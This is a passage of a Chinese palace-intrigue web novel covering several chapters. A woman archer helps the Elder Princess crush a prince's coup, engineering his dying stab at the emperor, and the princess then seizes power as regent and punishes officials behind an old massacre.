夏时这两天过得不太开心。虽然久别重逢,重新和老婆相聚很高兴,可有道是小别胜新婚,老婆对她忽然的冷淡,就让人不得不耿耿于怀了。 说是冷淡,倒也不尽然。 小两口平日里的相处依旧黏黏糊糊,楚棠也从不排斥夏时的亲近。亲亲抱抱耳鬓厮磨都可以,但唯独入夜之后,她总会果断的拒绝夏时的贴贴。 夏时一开始并没有发觉异常,因为回京的第一天,楚棠拒绝的理由是她舟车劳顿,应该好好休息。回京的第二天,她的理由是夏时在江南奔忙多时,休息一晚上根本不够。然后第三天、第四天……楚棠开始嫌弃天气太热,夏时贴过来更热,所以拒绝她的靠近。 这理由实在是不走心,小两口情热的时候哪里顾得上天气热不热?夏时又不是没经历过,自然发现了楚棠在有意拒绝自己的亲近,追问无果后,看向老婆的眼神都变得幽怨起来。 这次是真幽怨,楚棠都哄不住的那种,只好对她说:“再等几日,最多几日。” 不高兴到拿后背对着老婆的夏时一顿,犹豫着转过了身,小心问道:“你这是最近不方便?” 楚棠知道她说的是什么,本想随意点头糊弄过去,后来想了想以两人的亲近自己的月事对方不可能不记得,也不可能糊弄得过去。她只好凑上去亲了亲夏时的唇,然后回道:“是不太方便,但不是你以为的那种。乖,听话,再等几天好吗?” 夏时委屈巴巴,可楚棠都已经松口了,还特意来哄她,她也就只能算了。当下长臂一伸把老婆拢进怀里,然后气鼓鼓的说道:“等几日就等几日,不许再嫌弃我热了。” 虽然大热天的晚上抱在一起真的很热,但老婆总是要哄的,楚棠也只好妥协了。 两个人又变得黏黏糊糊起来,大热天的抱在一起睡到半夜,身上的汗都快把衣裳打湿了也没舍得松手。不过也正因如此,两人睡得都不是很沉,夜里外间传来动静的时候,在第一时间就被惊醒了。 夏时猛地睁开眼,一骨碌坐起身来就往枕头下摸。 这是她从前养成的习惯,那时她一个人住在山上,虽说在院子外布置了不少陷阱防备野兽,但也不是没有被野兽闯进门的可能。因此她总将猎刀放在枕头下,夜里听到不同寻常的风吹草动就会惊醒,然后拿着刀出去查看情况。 不过显然,现在情况大不相同了,夏时的枕头下也没有藏着的猎刀。她这一下摸了个空,但人也清醒了过来,意识到自己现在并不是在云雾山上,而是在公主府中。 楚棠这时也醒了,坐起身看向门外:“好像出事了,快穿衣出去看看吧。” 夏时闻言略感意外的看她一眼,楚棠从前可不是这样爱看热闹的人。毕竟这里是公主府,又不是她们那没什么规矩的乡野小村子,什么热闹都能看。 := 不过夏时总是愿意听楚棠的,闻言应了声“好”,便匆匆起身穿衣。不多时她便收拾妥当,回头一看才发现楚棠也换好了衣裳,正在穿鞋,显然是要一起出门去的。 就这片刻的功夫,外面的动静好像更大了。楚棠穿好鞋就看到夏时正在等着自己,于是她一把抓住夏时就往外走:“走,出去看看。”踏出两步又停下,转头冲夏时说道:“把你的刀带上。” 夏时闻言心中隐约生出些直觉,今晚恐怕有大事要发生,而这件事楚棠可能早有猜测——也许这就是她让自己等几天的原因? 念头一闪而过,夏时也并没有耽搁。她听话的回身去取了刀来,然后便重新回来牵起楚棠的手,和她一起出门去了。 房门推开,不似夜间的喧嚣霎时扑面而来,公主府各处早已是灯火通明。 110☆、第110章 ◎待会儿见机行事◎ 夏时在公主府住的时间不久,但看到这副场面也知道,必然是不正常的。 不过她们所在的这片客院还好,远处灯火通明,热闹不已,这一片归属于幕僚居住的客院却还有院子没亮起灯火,显然是院子的主人还没有醒来。 “咱们过去看看?”夏时牵着楚棠的手,回头询问。 楚棠正望着远处,一双乌黑的眸子里映出点点灯火:“走。” 她说着迈步上前,脚下的速度比夏时还要快上两分,没走几步就超过了夏时,反将她落在了后面。夏时一眼看出她的急切,于是也加快了步子,和她一同向着灯火处而去。 两人出了客院也没走太远,便遇见了人,只见公主府的侍卫一个个整装待发,正向着前庭聚集而去。反倒是平日里常在府中行走的仆从,这时候一个都没瞧见。还有几个幕僚和她们一样被吵醒的,出来看情况,却也没人理会。 楚棠的眸光越发沉了,藏着些夏时看不懂的情绪。而后者也不想去猜,正要上前拦住个侍卫问问情况,就被楚棠拉着小跑起来:“走,去前面。” 两人跟在那些侍卫身后,很快赶到了公主府的前庭,这里已经聚集了公主府的所有侍卫,粗略一算人数竟有三百之众——这当真是公主府所有的人手了,就连平日里换班休假的人都没有放过,此刻全部聚集在这里,便是夏时也看出长公主这是早有准备。 可大半夜的,将人全都聚集起来做什么?总不可能想靠着这点人手闹事吧?别的不说,就公主府这些侍卫连个盔甲都没有的情况,就算想做些什么也是分分钟被镇压的结果。 搞不懂,但夏时也不会立刻质疑什么,只等着静观其变。 好在也没让她久等,长公主很快出现了。只见她穿着一身劲装,长发匆匆束起,三两步跨上了台阶,居高临下看向众人,开门见山道:“今夜京中有变。本宫收到消息,有兵马冲击承天门,诸位且随本宫前往皇宫救驾!” 夏时闻言心里立刻一个“咯噔”,哪怕她才来京城不久,可也明白长公主这翻话意味着什么。承天门乃是皇宫正门,有人冲击就代表着犯上作乱。 但话又说回来,长公主此时带人过去也是有着极大风险的。就凭这三百侍卫打不打得过是一回事,万一消息出错或者有人算计,长公主带着这么多人直奔皇宫,谋逆的罪名立刻就能被扣在她的头上。而她们这些跟随长公主行事的人,自然也都讨不了好。 夏时心中生出些危机感来,她牵着楚棠的手紧了紧,有些后悔留在公主府住了——如果她们回了自己家住,这夜间发生的事,无论如何也找不上她们。 楚棠似乎察觉到了她的迟疑和退缩,反手握住了夏时的手,压低了声音道:“安心,殿下既然说收到消息,必然不是假的。” 夏时心中最担心的正是这一点,楚棠的话无疑是一语中的,正好安抚了她的担忧。 与此同时,随着长公主话音落下,公主府的三百侍卫却并没有夏时那样的犹豫与退缩。他们坚定的拥护着长公主,随着她一声令下,已然准备好直奔皇宫。 长公主见士气可用,也并没有多做耽搁,立刻命人牵马并开打府门。 “吱呀——”一声动静不小,公主府的正门难得大开。长公主亲自领着人出了正门,然后接过缰绳翻身上马,就要往皇宫而去。 夏时见状犹豫一瞬,没有立刻上前,却被楚棠在身后不轻不重的推了一下。 她回头看了看楚棠,却见对方眸中虽藏着两分担忧,却还有着更多的坚定——不必楚棠多言,夏时也知道自家和公主府的纠葛已深。即便今夜她不跟着长公主一起去皇宫,若对方当真出了什么事,她和楚棠也落不到好。相反此刻跟着一起去,说不定还能捞到几分功劳,再不然也多些情分。 当然,危险还是危险的,所以楚棠虽然推了夏时一把,却并没有开口催促些什么。如果夏时今晚真的不愿意跟长公主一起去,她也不会说些什么。 可夏时被这一推,还是迈步跟上去了。她跑得又快,在长公主骑上马的时候,她就已经跑到了对方身边。后者瞧她一眼,便让侍卫分了匹马给她,似乎没瞧见她之前的迟疑。 “走!”长公主挥手下令,接着催马驰骋起来,踏踏的马蹄声叩击着石板路,声响传出老远。 ************************************************************ 夏时的担忧并没有成真,有心争夺大位的长公主,显然也不是个随便就会被人算计的草包。一行人赶到宫门前时,夜里本该紧闭的承天门却是宫门大敞着。 长公主勒马,目光宫门内外扫视一圈,别说激战留下的痕迹了,就连尸体也只有三两具而已。 夏时见状心里也有数了,不管今夜犯上作乱的是谁,这承天门的守卫应是被对方收买了。如是皇宫最重要的一层防御直接形同虚设,叛逆此刻恐怕早就冲进了皇宫,运气不好碰上羽林打起来,运气好些的话说不定都已经快要冲到老皇帝的寝宫跟前了。 长公主垂眸思虑一瞬,也不知她做出了怎样的判断和考量,但最终还是下令,跨越了宫门前最后的界限:“走,随本宫入宫救驾。” 公主府的侍卫依然听话的跟随,一行人浩浩荡荡冲进了皇宫。 这是夏时第一次踏进皇宫,高大的宫门内是一片广阔的空地,远远地只能瞧见重重宫阙在月色下轮廓深深。这实在是一片极大极广的地方,以至于遥远的喊杀声随着夜风传过来时,已经微弱得险些让人忽视,更难以分辨声音的来处究竟是哪个方向。 好在听到这些声响,夏时心头最后的忧虑也被打消了。她摸了摸腰侧的刀柄,再看一眼走在前方的长公主,下定决心今晚再做一回合格的护卫。 与夏时不同,长公主也听到了那些微弱的喊杀声,但她几乎立刻就分辨出了声音的来处——不管今夜造反的人是谁,想要做成这件事,第一要务自然是抓住老皇帝。而皇帝寝宫的所在,身为长公主自然不会不清楚,她立刻便带着人马直奔而去。 果不其然,随着长公主一行人的前进,夜色下的喊杀声也越发清晰起来。 约莫跑了半刻钟之后,夏时等人便遇到了第一波正在厮杀的人群。她冷眼看去,颇是意外的发现双方的装扮都是羽林,只不过一方手臂帮着白布作为标识,另一方没有。 长公主几乎立刻就做出了判断:“来人,帮羽林拿下手绑白布的逆贼!” 女子声音清亮,即便是在一片喊杀声中,也清晰的传入到了所有人耳中。有羽林抽空抬头,一眼就看到了骑在马上的长公主,当即眼前一亮,喊道:“长公主前来救驾了。” 公主府人马有限,羽林们也很清楚长公主不会带来太多人,可既然对方已经收到消息并赶来救驾,那其他人呢?皇城之外能调动的人马也不少,救驾的人能来一个就能来第二个,羽林们因此信心大增。再加上公主府的三百侍卫虽然不多,但多少是股助力,很快便帮羽林压下了叛逆。 夏时没有上前帮忙,她只跟在长公主身侧,如以往一般护卫对方安危。不过她抽空偷偷瞧了长公主好几眼,心中总有股说不出的微妙——说是救驾,就带了这么点人还耽搁在这里,总感觉不像长公主的作风。正常来说,她不该直接带着人绕过这处战场,直奔皇帝寝宫吗? 心里泛着嘀咕,夏时面上还是一派严肃,时刻观察着周围,免得哪里射出支暗箭来。 好在并没有发生这样的事,这处交战也很快停歇,长公主直接下令击杀了逆贼,然后收拢人马带着自己的侍卫和那些羽林,一起想着皇帝寝宫赶去。 这一路她们又遇见了好几次交锋,长公主每次都停下让人帮忙。虽然每次都顺利将逆贼解决,也渐渐收拢了更多人马,但等一行人赶到皇帝寝宫前时,也已经是大半个时辰之后了。 夏时手里又被塞了一把弓,长公主难得叮嘱了她一句:“待会儿见机行事。” 双方目光交接,夏时立刻意会到了长公主的言下之意。她点点头接过了弓箭,翻身下马藏在了暗处,一点点靠近着寝宫大门。 而另一边,长公主既然带人感到了,双方自然免不了一场交锋。 夏时也不清楚这场谋逆的动静究竟算不算大,但之前对方几次分兵拖住羽林,此刻聚拢在寝宫外的人马并不十分充足。而长公主沿途却收拢了不少人马,这时候双方冲击起来,反倒是一开始只带了三百人进宫救驾的长公主一方占了优势。 双方激斗不过片刻,对方死伤惨重,终是有人扛不住,折身奔回了后方寝殿之中。 而此刻的皇帝寝宫,早就被逆贼控制住了。而作为这一场叛乱的发起者,三皇子正以胜利者的姿态俯视着狼狈的君父:“父皇,没想到吧,你最看不起的儿子,如今也能掌握你的生死了。” 老皇帝闻言抬头,愤恨的看向眼前的逆子,可哪怕怒火攻心也没敢贸然开口,他惜命得很。 直到寝宫之外忽然传来了喊杀声和打斗声,老皇帝知道援兵来了,这才开口怒斥:“混账,还不束手就擒。你若此刻悬崖勒马,朕念在父子之情,还可饶你一命。” 【作者有话说】 长公主(递弓):待会儿见机行事 夏时(点头):懂了,待会儿看情况是射死一个,还是直接送走俩 110-120 111☆、第111章 ◎冲冲冲!◎ “不好了,殿下,外面长公主带人过来救驾了!”有侍从匆匆奔入殿中报信。 正在对峙的父子俩闻言都是一怔,显然没料到第一个赶来救驾的人会是长公主,而且还来得这样快。不过无论来的人是谁,就眼前的局面而言,对老皇帝都是更加有利的。而且两人心知肚明,这人会匆匆跑来报信,就证明外面的情况已经于己方不利了。 老皇帝又抖擞起来,收起了之前的狼狈:“逆子,你最好……” 然而根本不等他将话说完,脖子上就已经架上了一把锋利的匕首,寒凉的刀锋贴在他的颈侧,让他有种肌肤被割裂的轻微痛楚。 老皇帝的话一下子就卡在了喉咙里,他稍稍抬眼看向三皇子,就见这个在他面前惯来唯唯诺诺的儿子,此刻的表情阴沉又狠戾。尤其是那双眼,里面仿佛写满了仇恨和孤注一掷,让人毫不怀疑他真有鱼死网破的决心! “啪”的一声,一卷空白的圣旨被摊开放在了老皇帝跟前,仔细一看上面还有一张写满字的纸。三皇子旋即将一支笔塞进了老皇帝手中,阴恻恻开口:“要么写,要么死。” 老皇帝目光匆匆往那纸上一扫,毫不意外是一封传位诏书——这逆子为了逼迫他,连传位诏书都提前准备好了,这哪儿是要他写啊,这分明是要他抄!再看那“诏书”上的内容,什么仁明孝友,天下归心,简直是胡说八道,这就是个犯上作乱的逆贼! 心中咒骂不断,但颈侧的匕首却逼迫得老皇帝不得不冷静下来。他捏着笔没有第一时间动手,而是说道:“安平不是傻子,满朝臣工也不是傻子,这样一份诏书就算朕写了,也不会有人信的。安平如今就在殿外,你以为这样一份假诏书,就能让她退兵吗?” 三皇子闻言目光越发阴鸷,也不答这话,只是将匕首又往老皇帝颈边压了压。 这是他特地带来的匕首,吹毛断发,削铁如泥。此时不过轻轻用了点力,锋利的刀锋立刻割破了老皇帝颈边的皮肤,一丝殷红鲜血顺着刀锋滑落,分外刺目。 老皇帝自然也感觉到了疼痛,垂眸一看就见鲜血滴滴落在寝衣上,刚生出来的几分底气立刻丧了个干净。他忙开口叫停:“好好好,我写,我写。” 这次他倒是一点不敢耽搁了,当真提笔沾墨便在空白圣旨上书写起来。短短百余字的传位诏书在他手下一挥而就,只是写完之后,这封诏书也还差最后一步——皇帝的玉玺并没有放在寝宫,原本派人去取也不过耽搁片刻的功夫而已,可现在这寝殿却是被人包围了。 老皇帝既不提醒,也不辩解,写完之后只抬头看向三皇子。 三皇子阴沉的脸上终于露出了几分笑意,他一手扯过未盖印的圣旨,另一只手直接将老皇帝扯了起来:“好好好,这诏书就差最后一步了,便有劳父皇陪我去取吧。” 随后他一手挟持着老皇帝,在重重护卫的保护下,当真就这样走出了寝宫。 殿前的交战还在继续,三皇子麾下的人马已是节节败退,但此刻他却是看也不看,径自带着老皇帝避开战场,匆匆往殿宇一侧走去。 早就隐藏在周围的夏时看到了这一幕,虽然她既不认识三皇子也不认识老皇帝,但两人的衣着和所处的位置却轻易的暴露了这些。她眼看着老皇帝即将被挟持离开,一时间拿不准要不要动手,下意识便回头向着长公主所在的方向看去。 长公主自然没有亲临战场,她正被几十个侍卫保护着待在安全的位置。许是夜色昏暗,她并没有看见三皇子一行,自然也没有给予夏时任何暗示。 不过夏时回头这一眼,还是看到了她想要的答案——就在这千钧一发的重要时刻,夏时又看到了那只有她能看到的字迹出现。 长公主头顶分明悬着三个大字:冲冲冲! 夏时自来以为这是天意的指示,因此她回过头,决定顺从天意,冲了。 弯弓搭箭,弓如满月,锋利的箭簇对准了正迅速远离的背影。即将松手的刹那,夏时忽然灵光一闪,略略调整了方向,将箭簇所指下压了几分。 下一面,手指一松,随着弓弦震动箭矢破空而去…… 正挟持着老皇帝离开的三皇子身体忽的一颤,他睁大了眼睛,不可置信的低头看去。就见一截箭矢从后心而来,射穿了他的胸膛,带出一片血色,迅速侵染了他的衣袍。 明明只差一步,只差最后一步,拿到诏书的他就会成为名正言顺的新皇。就算安平此刻占据上风又怎样?成王败寇,天亮之后她才是今晚谋逆的主谋! 可是为什么,为什么会这样?! 三皇子不可置信,又满心的不甘。尤其当他再次抬头,瞧见老皇帝那如释重负又深恶痛绝的表情时,心中的怨恨更是达到了顶点——下令射出这一箭的安平不在近前,他没办法在临死之前亲手报仇,可眼前这满脸恶意的老东西又凭什么独活?! 这个念头冒出来的那一刻,三皇子已经拼着最后的力气出手了。临死反扑,他手里又正好还有一把削铁如泥的匕首,自然是轻而易举的捅入了眼前仇人的胸膛。 “你……”老皇帝捂着胸口,惊骇欲绝。 三皇子笑了,笑得有些疯癫:“死吧,一起死,有父皇陪葬我也不亏!” 身边的亲信这时才反应过来,有的喊着殿下,匆忙簇拥而来,也有的见势不妙,已经转身逃走。倒是老皇帝捂着胸口倒下的时候,本来无人问津,还是梁忠不知从哪儿冒出来,偷偷将人给拖走了。 ********************************************************* 随着三皇子的死亡,这场宫变也迅速的结束了。 叛军们士气一泄,原本就处于下风的他们再无还手余地,很快便被羽林尽数镇压。夏时也在这时悄无声息的回到了长公主身边,并且收好了弓箭。 她亲手射出了那支至关重要的箭,并且亲眼见证了三皇子的临死反扑,这会儿心跳得还有些快。 稳了稳心神,夏时靠近长公主几步,压低身影向对方禀报了这一切。包括后来看到梁忠偷偷拖走了被捅刀的老皇帝,现在也不知对方是生是死。 长公主面不改色的听完了,倒是意味深长的看了夏时一眼——她原以为这家伙就是个呆子,除了武力和射术略微可取之外,满心满眼都只有楚棠,毫无进取之心。没找到今夜这家伙灵机一动,倒真给了她个极好的消息。 皇家自古轻薄,尤其长公主和老皇帝之间,父女之情更是淡薄。比起对方平平安安活着,然后在年老之际越发猜忌折腾,长公主心里自然是更希望对方能够和她那三弟一起去的。 不过就算老皇帝命大挺过来也没关系,当胸一刀的伤害,对方不死也得去半条命! 长公主眸光略沉,回过头依然是一副一无所知的模样。她一面令人将眼前的叛军压下,一面命人去寻找老皇帝等人的踪迹,整个过程有条不紊,也不紧不慢。 不过在梁忠带着老皇帝找过来之前,却有另一队人马先到了。 夏时探头看了一眼,却是个熟人,那匆匆而来的不正是和她们一起南下回来的羽林校尉吗?她和对方打交道不多,只知道是姓秦,难不成今夜恰好轮到对方值夜? 这边夏时还在为遇到熟人而意外,另一边秦校尉却看也没看她,径自向长公主禀报道:“殿下,方才卑职在庆安宫发现一队兵马,现已带人拿下。” 长公主一听就猜到问题所在,问道:“是何人带的兵?” 秦校尉低着头,看不清脸上神色:“回殿下,是四皇子。”顿了顿又道:“只是在双方交战之际,四皇子不幸被杀。此乃卑职之罪,还请殿下责罚。” 长公主要不要责罚对方夏时不知道,反正听到这个消息的她忍不住偷偷吸了口凉气——她再是不关心朝堂也知道,老皇帝成年的儿子死的差不多了,如今够年龄和长公主争夺的也就三皇子和四皇子两个人。这一场宫变下来可好,三皇子被她干掉了,四皇子也死于非命,长公主简直是最大赢家啊。 如果老皇帝也被三皇子那最后一刀给捅死了的话,长公主明天是不是就能换上龙袍登基了啊?! 夏时想入非非,长公主依旧面不改色,亲自上前扶起了秦校尉,并轻飘飘给这件事定了性:“今夜三皇子阴谋发动宫变,四皇子附从*谋逆。校尉不过是尽忠职守,斩杀叛逆本是有功,又何罪之有?” 三皇子是真的发动宫变谋反了没错,四皇子究竟是不是附从尚未可知。不过成王败寇,对方既然出现在了皇宫里,还死在了皇宫里,自然是长公主说什么就是什么了。 秦校尉沉声应“是”,周围也无人反驳,一个皇子的死就这样轻飘飘揭过了。 过不多时,收拾残局的羽林终于找到了老皇帝,他被梁忠拖到角落里藏了起来。也不知是他运气好还是命大,羽林们寻到他时,老皇帝居然还没咽气,还能捂着伤口哼唧着喊痛。 夏时跟着长公主过去看到这一幕时,眼中可惜一闪而过,倒是长公主依旧面不改色,还能吩咐人去请太医。 【作者有话说】 长公主(面不改色):没关系,如今一切尽在我手,死不死的不是我一句话的事儿? 112☆、第112章 ◎长公主行礼,告退,走得毫不留恋◎ 夏时再次回到公主府,已经是第二天傍晚了。 楚棠得到消息迎了出来,一眼看见夏时虽满身疲惫,但依旧算是神采奕奕的样子就知道,昨夜的宫变长公主不仅没有惹祸上身,应该还是占了极大好处的。 夏时见到老婆也很高兴,张开手臂就将人抱住了,接着在楚棠耳边哼唧:“昨夜真是吓死我了。” 这话楚棠只能信一半,毕竟夏时这模样可一点没有受惊后的表现,不过她还是拍了拍夏时的后背,关心的问了一句:“怎么了,昨夜很凶险吗?” 夏时依依不舍的松开了手,又揽着楚棠往回走:“走,咱们回去再说。” 楚棠也没有拒绝,回去的路上拉着夏时仔仔细细打量了一遍,发现她身上一点伤都没有,提了一天一夜的心这才放了下来。至于宫变的具体情况,反正长公主肯定是没吃亏的,不然现在可轮不到她们如此自在,公主府都得提前被羽林围了。 两人回到暂居的客院,又打发了院中仆从,等到整个客院只剩她们二人,夏时这才压低了声音说道:“昨夜死的人可不少,三皇子、四皇子全都殁了,就是可惜皇帝捡回了一条命。” 说到老皇帝,夏时撇了撇嘴,脸上隐约透出些不屑来——这老皇帝可不是什么圣明君主,根本就是个只知享乐的糊弄的糊涂虫,不然江南能出那样的事?她老丈人能死得不明不白还满身污名?更重要的是他明知有错却连翻案都不肯,又害得她老婆在大牢里待了那么久! 总而言之,夏时心里对老皇帝颇多怨怼,昨夜也是真心希望这人就这么被三皇子干掉的。可惜就可惜在他是真的命大,不仅等到了宫变结束,还真被太医救回了一条命。 夏时在楚棠面前从不掩饰,她想些什么几乎都明明白白写在了脸上,让人一眼就能看得明白。 楚棠牵住夏时的手捏了捏,却是摇头道:“不,人活着有活着的好处。若昨夜父子皆亡,殿下即便能登上大位,恐怕也要落得一身污名。” 本朝原就没有女帝的先例,长公主想要登临大位已算是打破陈规,若再没有个好名声,对她来日坐稳皇位是很不利的。尤其老皇帝还挺能生,别看他成年的儿子都没了,可还有几个小的呢。这些弟弟不论能否长大,对于长公主来说都是一桩麻烦。 楚棠想得清楚,但也不是不能理解夏时想要快刀斩乱麻的心。她倒也不和夏时解释太多,一边领着人进屋,一边又问道:“陛下如今什么情况,你说他捡回一条命,是受伤了吗?” 夏时跟着楚棠进了屋,就见桌上已经备好了一桌饭菜,还都是她爱吃的菜式。夏时原本不觉得饿的,看到这一桌子菜也有些饥肠辘辘了,于是一边在桌边落坐一边回道:“可不是。我看三皇子挺疯的,临死都不忘带上他爹一起,当胸一刀毫不犹豫就捅了进去。” 她一边说着一边拿起了筷子,先给楚棠夹了两筷子菜,然后开始埋头苦吃起来。 楚棠何等敏锐,很快就从夏时的只言片语中察觉到了关键:“你这么清楚,是亲眼看见了?” 夏时塞了满嘴的饭菜,闻言一时也开不了口,只用力点了点头——她当然看见了,她不仅看见了,甚至这一幕还有她的算计在,想想都有点得意。 而夏时的这点小得意也没有被楚棠错过,她胆大又心细,很快猜到了什么:“昨夜天色昏暗,你怎么这么巧看得清楚?莫不是你做的吧?” 夏时的眼睛“唰”一下就亮了,三两下咽下嘴里的饭菜,这才得意洋洋的比划起来:“可不是。昨夜我本来是准备跟在长公主身边保护她安全的,结果到了皇帝寝宫跟前,她就给了我一把弓。你知道什么意思的吧?后来我正好看到三皇子挟持皇帝离开,就顺手给了他一箭。本来我打算射脖子的,后来想了想,还是射在了胸口。” 射胸口不会立刻就死。而夏时虽不是个精于算计的人,却听长公主和楚棠说过,三皇子是被皇帝逼迫至此的,甚至还连累了亲娘。他心中多半有怨,临死反扑找上老皇帝,简直是顺理成章的事。 至于为什么不直接给老皇帝一箭,送他和三皇子一起归天,夏时总还是要顾虑长公主名声的——三皇子和老皇帝都死在箭下的话,长公主多半要背锅,但如果老皇帝是被逆贼三皇子亲手杀的,长公主最多就是个救驾来迟。怎么看,后者名声都要好听得多。 这算是夏时难得的灵光一闪,说给楚棠听,楚棠果然捧场的夸奖一番,末了又追问道:“那陛下伤势如何?太医怎么说的?” 说到这个,夏时又高兴几分:“不太好。他年纪大了,虽然那一刀没伤到肺腑要害,但血也没少流。就那种伤势,就算捡回一条命,估计也要病弱很久了。” 楚棠闻言,眸中光亮一闪而过。 ***************************************************** 老皇帝没死,在目前来说,对于长公主确实算是一件好事。 这场宫变发生得突然,规模也算是出乎意料的大——长公主料到二皇子和六皇子死后,三皇子和四皇子的势力会有所膨胀,尤其三皇子已经成为了事实上的长子。可她看着皇帝近些日子的打压,再加上三皇子前期的发育不足,无论如何没料到他能这么快将手伸进羽林之中。 昨夜数场混战,基本上都是羽林和羽林的对峙,可以说宫中至少有三分之一的羽林已经投入了三皇子麾下。除去不当值在家休息的那些羽林,昨夜双方对峙才会是一副势均力敌的场面。 场面闹得大,收拾起来也就不容易,尤其皇帝仅剩的两个成年皇子都死在了这一役中。 昨夜成功镇压了反叛之后,长公主下的第一道命令就是封锁宫门,第二道命令则是全城戒严。一直等到今早老皇帝从昏迷中清醒过来,她才明日出宫去请了丞相、尚书以及宗令入宫。 老皇帝还活着,并且对昨晚捅了他一刀的三皇子满心怨恨,面对重臣和宗令的时候自然不会隐瞒什么。他亲口说了三皇子谋逆,又亲自证实了自己的伤势正是三皇子临死前所为,那么带人入宫救驾的长公主自然就是纯粹的忠臣孝女。 至于倒霉的四皇子究竟是来救驾的,还是跟随三皇子附从谋逆的,现下奄奄一息的老皇帝是无暇理会的。他听长公主说对方是谋逆被诛,便当这是事实,挥挥手便揭过了此事。 长公主对此一点不觉得意外,毕竟老皇帝的冷情早被她看得透彻——死了儿子又怎么样?死了一个还有两个三个四个。成年的儿子都死了又怎样?他还有幼子。就算幼子也没了,只要他自己还活着,皇子也依旧可以源源不断的有。 总而言之,这是个自私自利到了极点的人,谁死了都没他养伤重要。 长公主并不插手太多,让老皇帝见了外臣,又让后宫的嫔妃和小皇子前来探望。老皇帝见到这些人后,心也安了下来,自以为一切仍旧在掌控之中。 他倒也不是完全的傻子,难得在长公主面前露出些慈父模样:“此番大难,多亏安平警觉,前来救驾。父皇自不会亏待了你,便将你的食邑再加万户吧。”说完喘了口气,又道:“昨晚你也辛苦了,一夜未眠,便早些回去休息吧,父皇这里不缺人照顾。” 话说得客气,但也透着凉薄与防备,卸磨杀驴的态度自然瞒不过长公主的眼睛。 长公主心里只觉得好笑,再看一眼老皇帝强撑却依旧透着青白的脸色,倒也没有表现得咄咄逼人。她微微俯身行礼,顺从的应道:“多谢父皇关心,那儿臣就先告退了。” 老皇帝见她顺从,眼底的戒备终于松了松,露出几分满意来:“去吧,好好休息。” 长公主行礼,告退,走得毫不留恋。 寝宫中,老皇帝彻底放松下来,强撑起来的精神立刻垮了下来。但他还是庆幸的,庆幸安平是个公主,庆幸老三作死的同时,老四也跟他一起去了。 否则以他如今的状态,恐怕很难震慑这些儿女。 只是虚弱又庆幸的老皇帝没看到,侍立在龙榻旁的梁忠始终低眉垂眼,偶尔看向他的目光中隐隐带着两分同情,三分嘲弄——高高在上的帝王,始终不曾将任何人放在眼里。他以为能见外臣,能见妃嫔,前朝后宫就依旧在他的掌控之中。岂不知只要走出这扇宫门,就能瞧见门外重重守卫。 那都是羽林,和往日拱卫帝王寝宫的禁军似乎没有任何不同,甚至其中还能瞧见过往熟悉的面孔。但这些人还会是帝王如臂使指的利刃吗?至少在梁忠看来,已经不是了。 当然,被重伤困在寝宫龙榻上的老皇帝更不会知道,听命告退的长公主只是离开了他的寝宫。 她并没有回公主府,也没有出宫,而是堂而皇之的走进了宣政殿的后殿。这里有三皇子最后欠缺的玉玺,也有不久前才探望过老皇帝的朝中重臣,更有帝国各处汇聚而来的文书奏报。 从前的长公主是没有资格踏足这里的,可现在她不仅堂而皇之的来了,还理所当然的坐在了监国的位置上。 113☆、第113章 ◎正是需要立威的时候◎ 一个月的时间匆匆而过,秋意渐浓,天气也终于开始转凉。 这一个月的时间夏时过得很是闲适,自从宫变那晚过后,长公主就一直没回过府,而她回来之后自然也没人吩咐做事。她索性就闲下来了,也并不会主动找事做。 相比之下,楚棠偶尔还要出门一趟,不过大多数时候她也是闲着的。 这日小两口都没什么事,索性旧事重提,夏时一大早就拉着楚棠出了门:“公主府虽好,也不是咱们家,总不能一直住着。反正最近也没什么事,咱们不如趁机看看宅子。”说着压低了声音:“这次我又帮了长公主,她肯定得给不少钱,咱们可以看好点的宅子了。” 楚棠被夏时这一脸认真盘算的样子弄得有些好笑,不过对方这话也没说错,公主府确实不是她们的久留之地——别看老皇帝现在还没死,长公主也不可能一直留着他的。到时候长公主登基,这公主府当然不能再让外人借住。 思及这些,楚棠便没有反对夏时的计划,两人用过早膳就早早出门去了。 只是两人这一去,却是错过了一桩事。 一个月的时间说长不长说短不短,却是足够长公主掌控群龙无首的朝堂了。而她抽出空来处理的第一件事不是其他,正是当年的江南旧案。 这案子是她一手挑起的,也是她亲自去江南查清的,只是回来没两天就遇上了三皇子发动宫变,这才被牵扯了精力,一直没时间处理这事——原本她是带了不少文书回来,还打算向老皇帝递交证据的,现在好了,老皇帝躺在病榻上,如今朝堂上做主的成了她自己。 这下可是大大方便了长公主施为,没了老皇帝那隐晦的态度,长公主只是在朝堂上稍稍提起旧事,大理寺卿便第一个站了出来大义灭亲。 “殿下,臣请彻查此案。”大理寺卿一脸的大义凛然。 事实上这确实也是大理寺的职责范围,长公主只是深深看他一眼,便说道:“不必了。本宫此番南下,已经将此事查探清楚,也带了证据回来。” 话音落下,几箱子证词证据被抬上了朝堂,经过丞相等人的查看,确认了当年案情。 曾经因赈灾有功而得到提拔的那些官员,如今许多仍在中枢,甚至此时也正在朝堂上。他们早在长公主提起旧事时就已冷汗涔涔,现下更是手脚发软,心中直呼“完了”——长公主以女子之身监国,正是需要立威的时候,他们这可算是撞枪口上了。 不过心中知道归知道,该求情的也不能不做,立刻便有人扑了出来,摔跪在大殿中央:“殿下,殿下饶命。当年之事实非我等贪婪,是,是六皇子威逼我等所为啊。” 这话一出,几个同伙也一并出来喊冤,且都将矛头对准了已逝的六皇子。 事情真相如何,长公主心里当然是有数的,而她对于六皇子也确实憎恨——当年小五想替楚尚书翻案,结果就被六皇子等人暗害在了猎场,唯一的同胞兄弟惨死,长公主当然是恨的。 不过眼前这些蠹虫也并非口中所喊的那般冤枉,他们哪是被六皇子威逼,分明是投靠了六皇子替他做事揽财!而这一点不仅长公主清楚,朝堂上的所有人也都心知肚明,只是对这些人为了克扣赈灾银而做出的丧心病狂举动,绝大多数人心中也是不耻的。 长公主的眼神就冷极了,她挥挥手下令:“此事另查。然则几人玩忽职守属实,贪墨赈灾银,与梧州将军同谋屠戮数万无辜百姓亦属实。现除去官服官帽,打入狱中,待来日所有事情尽数查明,便发往江南,于桐城外落霞坡前行刑。” 这话意思很明确,不管这些人怎么甩锅,反正一个死字是少不了的。而且还不在京城行刑,而是要在那数万枉死百姓的埋骨处行刑。 此时人多信鬼神,想想那惨死的数万百姓若是见了这些罪魁祸首…… 不仅是那几个跪倒求情的罪官一下子瘫软在了地上,就连旁边的不少大臣都稍稍打了个寒颤——随着长公主的回归,有些消息他们也是听说过的。比如那美景美名的落霞坡,如今一到夜里便是鬼火阵阵,见到仇人怕不是要将这些人烧个魂飞魄散! ************************************************ 